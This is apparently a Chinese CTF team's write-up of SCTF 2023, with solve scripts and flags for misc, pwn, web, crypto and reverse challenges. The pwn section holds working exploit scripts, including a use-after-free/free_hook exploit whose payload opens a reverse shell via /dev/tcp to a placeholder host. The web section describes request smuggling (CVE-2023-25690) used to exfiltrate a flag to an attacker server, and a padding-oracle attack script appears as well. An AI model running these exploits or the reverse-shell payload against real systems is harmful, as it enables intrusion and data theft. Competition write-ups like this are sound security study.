本次 SCTF 2023,我们星盟ctf战队排名第13。
排名 | 队伍 | 总分 |
---|---|---|
11 | Arr3stY0u | 5523.03 |
12 | Nepnep | 5260.21 |
13 | 星盟ctf战队 | 5200.45 |
14 | 福来阁 | 4747 |
15 | bad_cat | 4725 |
16 | b3f0re | 4075 |
17 | NaN Team | 3870 |
18 | 0RAYS | 3710 |
19 | 0psu3 | 3672 |
20 | Lilac | 3670 |
MISC
Misc – Genshin Impact
从tcp.stream eq 1 流得到很多信息,关键的是
这个图片名字是bilibli的一个视频
视频评论有个
联系到流量其中的字母表,猜测是字母表解密
3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
解密出来是:197370563
再去米游社去查找这个这个用户
https://www.miyoushe.com/ys/accountCenter/postList?id=197370563
得到flag:SCTF{yu4nsh3n_q1d0ng!Genshin_impact_start!}
Fly over the Fuchun River
图片中的飞机型号B-32DC,图片的拍摄时间,天气为阴天,时间包含12:15
查到了航班信息:
https://flightaware.com/live/flight/B32DC/history/20230413/0110Z/ZUUU/ZSHC
得到flag:SCTF{CTU_HGH_EU2259_413}
checkin
第二个文件cat一下就可以看见flag了
PWN
ancient cgi
启动容器后,登陆进入VIP code输入界面:
题目是一个ret2text,简单写一个payload,远程发包溢出即可获得key:
import requests
from pwn import *
import requests
cookies = {
'session': 'eyJ1c2VybmFtZSI6Ims0bjk2NiJ9.ZI_LbQ.56KQg3j3spZksRCrTnhkoOu3238',
}
headers = {
'Accept': '*/*',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Cache-Control': 'max-age=0',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://94.74.101.210:50644',
'Proxy-Connection': 'keep-alive',
'Referer': 'http://94.74.101.210:50644/',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
}
vip = 0x401129
main = 0x400FF9
payload = b'a'.ljust(0xe8,b'a') + p64(vip) + p64(main)
response = requests.post('http://94.74.101.210:50644/vip.cgi', headers=headers, cookies=cookies, data=payload, verify=False)
print(response.text)
Brave Knights and Rusty Swords
rust 逆了半天,最后 grow 的地方有个 UAF,并且libc版本下能做到 free A->B->A,构造回环打 free_hook 反弹 shell 即可。
from pwn import *
context.log_level="debug"
import time
libc=ELF("/home/tokameine/Desktop/sctf/libc-2.27.so")
p1 = process(argv=['nc', "-u","94.74.101.210","50374"])
#p1 = process(argv=['nc', "-u","192.168.218.147","8080"])
p1.sendline("register 1 1")
p1.recvuntil("Registration successful! You have received 100 currency.")
p1.sendline("login 1 1")
p1.recvuntil("Welcome back, 1!")
p1.sendline("purchase 100")
p1.recvuntil("Purchase successful! You have received 10 cards.")
p1.sendline("draw_000001")
p1.recvuntil("You have received a new character:")
time.sleep(1)
for i in range(6):
p1.sendline("fight")
p1.recvuntil("Please select a character to fight:",timeout=1)
p1.sendline("2")
p1.recvuntil("Please select an action:",timeout=1)
p1.sendline("attack")
time.sleep(0.2)
p1.sendline("attack")
time.sleep(0.2)
p1.sendline("attack")
time.sleep(0.2)
p1.sendline("attack")
time.sleep(0.2)
p1.sendline("attack")
time.sleep(0.2)
p1.sendline("Data_testing_console")
p1.recvuntil("Enter function name:")
p1.sendline("__free_hook")
p1.recvuntil("is: ")
data=int(p1.recv(14),16)
print(hex(data))
p1.recvuntil("Enter the command:")
p1.sendline("data_push")
def push_va(num,val):
p1.recvuntil("Enter the operation:")
p1.sendline("push")
p1.recvuntil("Enter the vector number:")
p1.sendline(str(num))
p1.recvuntil("value:")
p1.sendline(val)
def grow_va(num,val):
p1.recvuntil("Enter the operation:")
p1.sendline("grow")
p1.recvuntil("Enter the vector number:")
p1.sendline(str(num))
p1.recvuntil("value:")
p1.sendline(val)
libc_base=data-0x3ed8e8
system=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
######################
for i in range(512):
push_va(1,str(6))
push_va(1,str(6))#grow
grow_va(1,str(0x400))#uaf
grow_va(3,str(0x400))
grow_va(2,str(0x400))
p1.sendline("quit")
time.sleep(1)
p1.sendline("quit")
time.sleep(1)
p1.sendline("Data_testing_console")
p1.recvuntil("Enter the command:")
p1.sendline("data_push")
grow_va(1,str(0x400))
grow_va(2,str(0x400))
for i in range(512):
push_va(3,str(6))
push_va(3,str(6))
code=b"bash -c \"sh >/dev/tcp/xxxxxx/2333 0>&1 2>&1\""
code_len=(len(code)//16)*16
code=code.ljust(code_len,b"\x00")
code=code+p64(0)+p64(system)
code_len=len(code)
code_need_len=512-code_len
for i in code:
push_va(5,str(i))
for i in range(code_need_len):
push_va(5,str(0))
push_va(5,str(0))#
grow_va(3,str(0x400))
for i in range(8):
push_va(1,str(((free_hook-code_len+8)>>(i*8))&0xff))#fill pointer
grow_va(4,str(0x400))
print(hex(one))
#pause()
grow_va(5,str(0x400-1))
p1.interactive()
WEB
ezcheck1n
/hint提示是
find the way to flag.Looks like there are two containers with an evil P in the configuration file of the frontend server
去寻找flag在哪,他看来有两个路由有P在配置文件中,nss的考点中有
cve漏洞,请求走私
CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用
看他的代码,可以ssrf去填写vps地址将flag带到vps的监听端口中,这题的难点就在于对不上出题人的思维就可能做不出来,和想着其他漏洞,因为在这里传递url是没有任何反应的,所以会认为这题不出网,实际做法就是提示说,注意时间,今年不是2023年
可以看到是2022年,show_source高亮显示了2023.php就会想到2022.php
通过crlf去请求/2022.php并传参url的值为vps:port/flag=就会将flag发到vps上面
fumo_backdoor
大概就是反序列化会发现开启了
至于如何构建phpinfo就不说了
触发反序列化,读取readfile,这题跟国赛很像https://www.snakin.top/2022/09/05/2022CISCN%E5%86%B3%E8%B5%9B/
生成一个sess_bcbcbc的文件,里面包含反序列化的内容
session_start的时候cookie设置为PHPSESSID=bcbcbc这样就可以反序列化进入readfile函数
mvg复制flag到sess_sdsdsd里面
然后通过反序列化读取文件
Crypto
Barter
题目
chal.sage
from Crypto.Util.number import * from random import * from secrets import flag def gen_random(seed, P, Q, r_list, times): s = seed for i in range(times): s = int((s * P)[0]) r = int((s * Q)[0]) r_list.append(r) return r_list def gen_seed(): seed = getRandomNBitInteger(32) return seed def getP_Q(): Q = Curve.random_point() P = 114514*Q return P, Q def enc(flag, rlist): seq = list(randint(0, 1) for _ in range(4)) add = rlist[55]*(seq[0]*rlist[66] + seq[1]*rlist[77] + seq[2]*rlist[88] + seq[3]*rlist[99]) xor = pow(rlist[114], rlist[514], rlist[233]*rlist[223]) enc = (bytes_to_long(flag)^^xor)+add return enc nums = 600 seed = gen_seed() p = 58836547289031152641641668761108233140346455328711205590162376160181002854061 F = GF(p) a = F(114) b = F(514) Curve = EllipticCurve(F, [a, b]) P, Q = getP_Q() r_list = [] r_list = gen_random(seed, P, Q, r_list, nums) ENCFLAG = enc(flag, r_list) print(ENCFLAG) print(P, Q) print(r_list[0]) ''' 4911741083112145038719536311222612998219730565328651097326896414315857050336523018712625917027324116103593300559128797807261543857571883314990480072241188 ##################################### ##################################### Oh no, P, Q and r_list[0] are accidentally lost, but John seems to know, you can ask him about these missing values ::>_<:: '''
homework.py
from Crypto.Util.number import * from params import N, E, D from leak_data import P, Q, r_1 import re def challenge(): meum = '''option: 1: get pubkey 2: get sign 3: verify 4: exit''' print("Hi, I am John. If you help me with my homework, I'll give you the data that I know ( ̄o ̄) . z Z") print(meum) sign = None while True: print('[+]input your option: ', end='') your_input = input() if your_input == '1': print(f'[+]N = {N}') print(f'[+]e = {E}') continue elif your_input == '2': sign = pow(bytes_to_long(MSG.encode()), D, N) print(f'[+]sign = {sign}') continue elif your_input == '3': if sign is None: print('[+]Please input option 2 to generate sign first.') continue msg_user = input("[+]Please input your message: ") n = int(input("[+]Please input n: ")) e = int(input("[+]Please input e: ")) if e <= 3: print('[+]e is invalid') break else: if re.match(r'I can not agree more!!!$', msg_user): if pow(bytes_to_long(msg_user.encode()), e, n) == sign: print("Goooooooood! You are my hero! I can give you the data that I know ╰(*°▽°*)╯") print(f'Leak_data: \n P={P}\n Q={Q}\n first num in r_list={r_1}') break else: print('[+]Error signature!') break else: print('[+]Error message!') break elif your_input == '4': break if __name__ == '__main__': MSG = 'This is an easy challenge' challenge()
题解
对于homework.py,为获取曲线相关数据,可通过生成光滑n后离散对数求出e来满足要求
from Crypto.Util.number import *
def gen_primes(nbit, imbalance):
"""
:param nbit: 最终光滑数比特数
:param imbalance: 最小单位比特数
:return: 比特数
"""
p = int(2)
FACTORS = [p]
while p.bit_length() < nbit - 2 * imbalance:
factor = getPrime(imbalance)
FACTORS.append(factor)
p *= factor
rbit = (nbit - p.bit_length()) // 2
while True:
r, s = [getPrime(rbit) for _ in '01']
_p = p * r * s
if _p.bit_length() < nbit: rbit += 1
if _p.bit_length() > nbit: rbit -= 1
if isPrime(_p + 1):
FACTORS.extend((r, s))
p = _p + 1
break
FACTORS.sort()
return (p, FACTORS)
MSG = 'This is an easy challenge'
msg = 'I can not agree more!!!'
sign = 2007693265003793531961671894515047380652880039368379717802504726955615563153911755018745338145752718217463688949530928466521446062822626671546131855463622
M = bytes_to_long(MSG.encode())
m = bytes_to_long(msg.encode())
n, n_fac = gen_primes(512, 20)
# 离散对数sage求解(模数小 / 阶光滑)
# h = g^x mod p
# c1 = m^e mod n1
p = n
g = m
h = sign
x = discrete_log(Mod(h,p),Mod(g,p))
print(pow(m,x,p)==sign)
print('n =', p)
print('e =', x)
交互后,得到曲线相关数据
Goooooooood! You are my hero! I can give you the data that I know ╰(*°▽°*)╯
Leak_data:
P=(24181776889473219401017476947331354458592459788552219617833554538756564211844, 33783050059316681746742286692492975385672807657476634456871855157562656976035)
Q=(16104852983623236554878602983757606922134442855643833150623643268638509292839, 3562830444362909774600777083869972812060967068803593091854731534842281574275)
first num in r_list=50920555924101118476219158701093345090627150442059647242030060086626996278598
对于chal.sage,发现有:
$$
P = 114514 \times Q \
s_0 = (s\times P)_x = (114514 \times s \times Q)_x \
r_0 = (s_0 \times Q)_x = ((114514 \times s \times Q)_x \times Q)_x \
s_1 = (s_0\times P)_x = ((114514 \times s \times Q)_x \times 114514 \times Q)_x\
r_1 = (s_1 \times Q)_x
$$
即:每次迭代后的s可以通过上一次的r代入曲线后乘114514得到。
又有rlist[0],便可以恢复rlist,最后爆破seq、恢复参数、异或即解得flag
from tqdm import tqdm
from Crypto.Util.number import *
p = 58836547289031152641641668761108233140346455328711205590162376160181002854061
F = GF(p)
a = F(114)
b = F(514)
E = EllipticCurve(F, [a, b])
P=E(24181776889473219401017476947331354458592459788552219617833554538756564211844, 33783050059316681746742286692492975385672807657476634456871855157562656976035)
Q=E(16104852983623236554878602983757606922134442855643833150623643268638509292839, 3562830444362909774600777083869972812060967068803593091854731534842281574275)
r0=50920555924101118476219158701093345090627150442059647242030060086626996278598
enc=4911741083112145038719536311222612998219730565328651097326896414315857050336523018712625917027324116103593300559128797807261543857571883314990480072241188
rlist = [r0]
for _ in range(600):
s = (E.lift_x(rlist[-1])*114514)[0]
rlist.append((s * Q)[0])
rlist = [int(i) for i in rlist]
for i in range(2^4):
seq = []
for j in range(4):
seq.append(i&1)
i >>=1
add = rlist[55]*(seq[0]*rlist[66] + seq[1]*rlist[77] + seq[2]*rlist[88] + seq[3]*rlist[99])
xor = pow(rlist[114], rlist[514], rlist[233]*rlist[223])
flag = long_to_bytes(int((enc-add)^^xor))
if b'SCTF' in flag:
print(flag) # SCTF{Th1s_i5_my_happy_s0ng_I_like_to_5ing_it_@ll_day_1ong}
Math forbidden
题目
from Crypto.Util.number import *
from Crypto.Cipher import AES
import os
from flag import flag
secret = os.urandom(16)*2
sysKEY = os.urandom(8)
aeskey = os.urandom(16)
iv = os.urandom(16)
p = getPrime(256)
q = getPrime(256)
e = 0x10001
d = inverse(e,(p-1)*(q-1))
n = p*q
def aes_enc(m,key,iv):
aes = AES.new(key,AES.MODE_CBC,iv)
c = aes.encrypt(m)
return c
def aes_dec(c,key,iv):
aes = AES.new(key,AES.MODE_CBC,iv)
m = aes.decrypt(c)
return m
def add_to_16(key):
padding = 16 - (len(key) % 16)
key += bytes([padding])*padding
return(key)
def unpadding(key):
padding = key[-1]
if(padding==0):
return key,False
for i in range(padding):
if key[-i-1]!=padding:
return key,False
key = key[:-padding]
return key,True
def check_token():
print("input your token")
print("key")
print(">",end='')
enc_key = input()
print("IV")
print(">",end='')
iv = input()
enc_key = bytes.fromhex(enc_key)
iv = bytes.fromhex(iv)
key_padding = aes_dec(enc_key,aeskey,iv)
dec_key,flag= unpadding(key_padding)
if(flag==False):
print("fake token")
else:
if(dec_key == sysKEY):
print("0.0")
print('N',hex(n))
print('E',hex(e))
print('c',pow(bytes_to_long(secret),e,n))
else:
print("0.0??")
def adminadmin():
print("input n:")
print(">",end='')
n = input()
print("input c:")
print(">",end='')
c = input()
n = bytes.fromhex(n)
c = bytes.fromhex(c)
n = bytes_to_long(n)
c = bytes_to_long(c)
secret = pow(c,d,n)
print("only admin can touch the answer[yes/no]")
op1 = input()
if(op1=='yes'):
print("input admin password:")
print(">",end='')
password = input()
adminKEY = bytes.fromhex(password)
if adminKEY==sysKEY:
m = long_to_bytes(secret,64)
print(m[:2].hex())
key_padding = add_to_16(sysKEY)
enc_key = aes_enc(key_padding,aeskey,iv)
print('your token',enc_key.hex(),iv.hex())
menu = """
1.check
2.admin
3.getflag
"""
while 1:
print(menu)
print(">",end='')
op = input()
if(op=='1'):
check_token()
continue
if(op=='2'):
adminadmin()
continue
if(op=='3'):
print("oops! I forget to hide the backdoor!\n>",end='')
tmp = bytes.fromhex(input())
if(tmp==secret):
print(flag)
continue
print("try again")
题解
- CBC Padding Oracle
- MSB Oracle Attack
from pwn import *
from Crypto.Util.strxor import strxor
context.log_level = 'debug'
context.timeout = 5000
class sol():
def __init__(self):
self.sh = remote('1.14.95.121', 9999)
token, iv = self.sh.recvline_contains(b'token').split(b' ')[-2:]
self.token = bytes.fromhex(token.decode())
self.iv = bytes.fromhex(iv.decode())
def unpadding(self, key):
padding = key[-1]
if (padding == 0):
return key, False
for i in range(padding):
if key[-i - 1] != padding:
return key, False
key = key[:-padding]
return key, True
def padding_oracle(self, iv_: bytes, c: bytes):
self.sh.recvuntil(b'>')
self.sh.sendline(b'1')
self.sh.sendlineafter(b'>', c.hex().encode())
self.sh.sendlineafter(b'>', iv_.hex().encode())
tmp = self.sh.recvline()
if b'fake token' in tmp:
return False
if b'0.0??' in tmp:
return True
else:
self.N = eval(self.sh.recvline_contains(b'N').split(b' ')[-1])
self.e = 65537
self.c = int(self.sh.recvline_contains(b'c').split(b' ')[-1])
return True
def _attack_block(self, padding_oracle, iv, c):
r = bytes()
for i in reversed(range(16)):
s = bytes([16 - i] * (16 - i))
for b in range(256):
iv_ = bytes(i) + strxor(s, bytes([b]) + r)
if padding_oracle(iv_, c):
r = bytes([b]) + r
print('r =', r)
break
else:
raise ValueError(f"Unable to find decryption for {s}, {iv}, and {c}")
return strxor(iv, r)
def attack(self, padding_oracle, iv, c):
"""
Recovers the plaintext using the padding oracle attack.
:param padding_oracle: the padding oracle, returns True if the padding is correct, False otherwise
:param iv: the initialization vector
:param c: the ciphertext
:return: the (padded) plaintext
"""
assert len(c) == 16
p = self._attack_block(padding_oracle, iv, c[0:16])
return p
def get_nec_admin_flag(self):
self.sh.recvuntil(b'>')
self.sh.sendline(b'1')
self.sh.sendlineafter(b'>', self.token.hex().encode())
self.sh.sendlineafter(b'>', self.iv.hex().encode())
self.N = eval(self.sh.recvline_contains(b'N').split(b' ')[-1])
self.e = 65537
self.c = int(self.sh.recvline_contains(b'c').split(b' ')[-1])
password = sysKEY.hex()
start = 0
end = pow(2, 32 * 8)
mid = 1
for i in range(260):
mid = (start + end) // 2
# 确保能成功转换
while True:
try:
tmp_c = (self.c * pow(mid, self.e, self.N)) % self.N
ttt = bytes.fromhex(hex(tmp_c)[2:])
break
except:
mid += 1
self.sh.sendlineafter(b'>', b'2')
self.sh.sendlineafter(b'>', hex(self.N)[2:].encode()) # n
self.sh.sendlineafter(b'>', hex(tmp_c)[2:].encode()) # c
self.sh.recvuntil(b']')
self.sh.sendline(b'yes')
self.sh.sendlineafter(b'>', password.encode()) # pwd
tmp = self.sh.recvline().decode()[:2]
if tmp != '00':
end = mid
else:
start = mid
print(tmp, mid)
secret = pow(2, 63 * 8) // mid
for i in range(-1001, 1001):
s = secret + i
try:
ttt = bytes.fromhex(hex(s)[2:])
except:
continue
self.sh.sendlineafter(b'>', b'3')
self.sh.sendlineafter(b'>', hex(s)[2:].encode())
tmp = self.sh.recvline()
if b'SCTF' in tmp:
print(tmp)
return
s = sol()
key_padding = s.attack(s.padding_oracle, s.iv, s.token)
sysKEY, _ = s.unpadding(key_padding)
s.get_nec_admin_flag() # SCTF{I7_Never_R4ins_1n_5outh3rn_Ca1iforni4}
全频带阻塞干扰(下)
看到 rotor(转子)等标志,确定为 Enigma.
alphabet = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z')
rotor1 = ( 'E', 'K', 'M', 'F', 'L', 'G', 'D', 'Q', 'V', 'Z', 'N', 'T', 'O', 'W', 'Y', 'H', 'X', 'U', 'S', 'P', 'A', 'I', 'B', 'R', 'C', 'J')
rotor2 = ( 'A', 'J', 'D', 'K', 'S', 'I', 'R', 'U', 'X', 'B', 'L', 'H', 'W', 'T', 'M', 'C', 'Q', 'G', 'Z', 'N', 'P', 'Y', 'F', 'V', 'O', 'E')
rotor3 = ( 'B', 'D', 'F', 'H', 'J', 'L', 'C', 'P', 'R', 'T', 'X', 'V', 'Z', 'N', 'Y', 'E', 'I', 'W', 'G', 'A', 'K', 'M', 'U', 'S', 'Q', 'O')
rotor4 = ( 'E', 'S', 'O', 'V', 'P', 'Z', 'J', 'A', 'Y', 'Q', 'U', 'I', 'R', 'H', 'X', 'L', 'N', 'F', 'T', 'G', 'K', 'D', 'C', 'M', 'W', 'B')
rotor5 = ( 'V', 'Z', 'B', 'R', 'G', 'I', 'T', 'Y', 'U', 'P', 'S', 'D', 'N', 'H', 'L', 'X', 'A', 'W', 'M', 'J', 'Q', 'O', 'F', 'E', 'C', 'K')
reflector = ( 'Y', 'R', 'U', 'H', 'Q', 'S', 'L', 'D', 'P', 'X', 'N', 'G', 'O', 'K', 'M', 'I', 'E', 'B', 'F', 'Z', 'C', 'W', 'V', 'J', 'A', 'T')
plugboard = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
三个转子,为德国陆军用 Enigma 机。使用时需要预制三个转子初始位置和接线板。
题面
intercepted ciphers:
TBFRZSFRYOXASAXHMU ->(plaitext is WIRHABENHEUTESONNE)
NVILDEWRVPRYJRIBDTQPUTQUNBFDMPULTZWBNCXSJEIZUTJFPF
Oh shit! We can only knows that the plugboard settings contains "UX YC TV RB A? Q? I? G? F?"
the flag is SYC{md5(m2)}
已知明文密文,使用 Bombe 爆破。
- 转子初始位置:H/Y/M
- 接线板:
但解密出现问题,某一位后内容全部错误,Enigma 有后效性,我们分析错的那一位。
TBFRZSFRYOXASAXHMU
->
WIRHABENHQSZTCNIAR
----------^
从Q开始不对了
这里怀疑是接线板错了,但是并不是。
看图后发现是作者第三个转子的步近字母设置的和历史上不一样。
改为 BDFHJLCPRTXVZNYEIWGAKMUSQO<I
即可。
注意 Enigma 机为了安全使用类似“流式”加密,需要将第二段消息拼接在第一段消息末尾。
(如果每段消息都使用相同的转子初始位置,非常容易逆推状态)
WIRHABENHEUTESONNE
ATTACKATEIGHTOCLOCKFROMBOTHNOTHERNANDSOUTHERNSIDES
MD5 后得到 flag.
RE
Syclang
一道阅读题,对着txt硬搓还原成C
然后直接放exp:
from z3 import *
s = Solver()
cin = [BitVec(f"cin[{i}]", 8) for i in range(24)]
input = [i for i in cin]
for i in range(23, 0, -1):
input[i] = input[i] - input[i - 1]
tmp1_L = [0, 15, 2, 10, 6, 9, 1, 4]
tmp1_R = [8, 23, 11, 20, 13, 21, 19, 17]
tmp1_X = [11, -13, 17, -19, 23, -29, 31, -37]
for i in range(8):
input[tmp1_L[i]] = input[tmp1_L[i]] + tmp1_X[i]
input[tmp1_R[i]] = input[tmp1_R[i]] - tmp1_X[i]
for i in range(1, 24):
input[i] = input[i] + input[i - 1]
for i in range(23):
input[i] = input[i] ^ 0
tmp2_L = [0, 9, 9, 8, 10, 9, 1, 0]
tmp2_R = [12, 10, 12, 19, 12, 13, 22, 23]
tmp2_X = [-19, -10, 3, -11, -9, 3, -19, 7]
tmp2_key = [12, 31, 31, 31, 31, 31, 31, 31, 42, 46, 45, 45, 20, 23, 23, 23, 23, 23, 23, 12, 12, 12, -7, 0]
for i in range(23, 0, -1):
tmp2_key[i] = tmp2_key[i] - tmp2_key[i - 1]
for i in range(8):
tmp2_key[tmp2_L[i]] = tmp2_key[tmp2_L[i]] + tmp2_X[i]
tmp2_key[tmp2_R[i]] = tmp2_key[tmp2_R[i]] - tmp2_X[i]
for i in range(1, 24):
tmp2_key[i] = tmp2_key[i] + tmp2_key[i - 1]
tmp3_key = [252, 352, 484, 470, 496, 487, 539, 585, 447, 474, 577, 454, 466, 345, 344, 486, 501, 423, 490, 375, 257,
203, 265, 125]
for i in range(24):
tmp3_key[i] = tmp3_key[i] ^ tmp2_key[i]
tmp3_X = [input[i * 3] for i in range(8)]
for i in range(23, 0, -1):
tmp3_key[i] = tmp3_key[i] - tmp3_key[i - 1]
for i in range(8):
tmp3_key[tmp1_L[i]] = tmp3_key[tmp1_L[i]] - tmp3_X[i]
tmp3_key[tmp1_R[i]] = tmp3_key[tmp1_R[i]] + tmp3_X[i]
for i in range(1, 24):
tmp3_key[i] += tmp3_key[i - 1]
for i in range(24):
s.add(input[i] == tmp3_key[i])
s.add(cin[23]==ord('}'),cin[0]==ord('s'))
s.check()
ans = s.model()
for i in cin:
print(chr(ans[i].as_long()),end='')
print()
flag:sctf{r5cbsumyqpjy0stc7u}
Digital_circuit_learning
一道硬件题,首先需要将bin文件还原成hex文件,然后开始分析
确定加密方式为
def enc(input,len):
for i in range(len):
input[i] = input[i] - 1
input[i] = input[i] ^ 0x35
input[i] = (input[i] * 16) | (input[i] >> 4)
input[i] = input[i] ^ input[(i+1)%len]
input[i] = input[i] + 1
input[i] = (input[i] * 32) | (input[i] >> 3)
input[i] = input[i] ^ input[9 - i]
input[i] = input[i] ^ 0xF7
input[i] = (input[i] << 6) | (input[i] >> 2)
利用爆破求出flag
#include <iostream>
char __fastcall sub_8001A8C(char a1) {
return (((a1 >> 6) & (a1 >> 2) & 1) == 0) | (2 * a1);
}
int main() {
char enc[] = "bdgfciejha";
unsigned char test[10] = { 0x77, 0xee, 0xdc, 0xb8, 0x71, 0xe3, 0xc7, 0x8e, 0x1d, 0x3b };
for (int i = 1; i < 10; i++) {
test[i] = sub_8001A8C(test[i - 1]);
}
for (int i = 0; i < 10; i++) {
for (int j = 0; j < 10; j++) {
if (enc[j] == i + 'a') {
printf("%hhx", test[j]);
break;
}
}
}
printf("\n");
unsigned char input[10] = { 0x3b, 0x77, 0x71, 0xee, 0xc7, 0xb8, 0xdc, 0x1d, 0xe3, 0x8e }; //bf
for (int i = 0; i < 10; i++) {
input[i] -= 1;
}
for (int i = 0; i < 10; i++) {
input[i] ^= 0x35;
}
for (int i = 0; i < 10; i++) { //g
input[i] = (input[i] << 4) | (input[i] >> 4);
}
for (int i = 0; i < 10; i++) {
input[i] ^= input[(i + 1) % 10];
}
for (int i = 0; i < 10; i++) {
input[i] += 1;
}
for (int i = 0; i < 10; i++) {
input[i] = (input[i] << 5) | (input[i] >> 3);
}
for (int i = 0; i < 10; i++) { //e
input[i] ^= input[9 - i];
}
for (int i = 0; i < 10; i++) { //j
input[i] ^= 0xf7;
}
for (int i = 0; i < 10; i++) {
input[i] = ( input[i] << 6) | (input[i] >> 2);
}
for (int i = 0; i < 10; i++) {
printf("%02hhx", input[i]);
}
}
flag:sctf{5149ac8b033d602bf6d3}/SCTF{5149ac8b033d602bf6d3}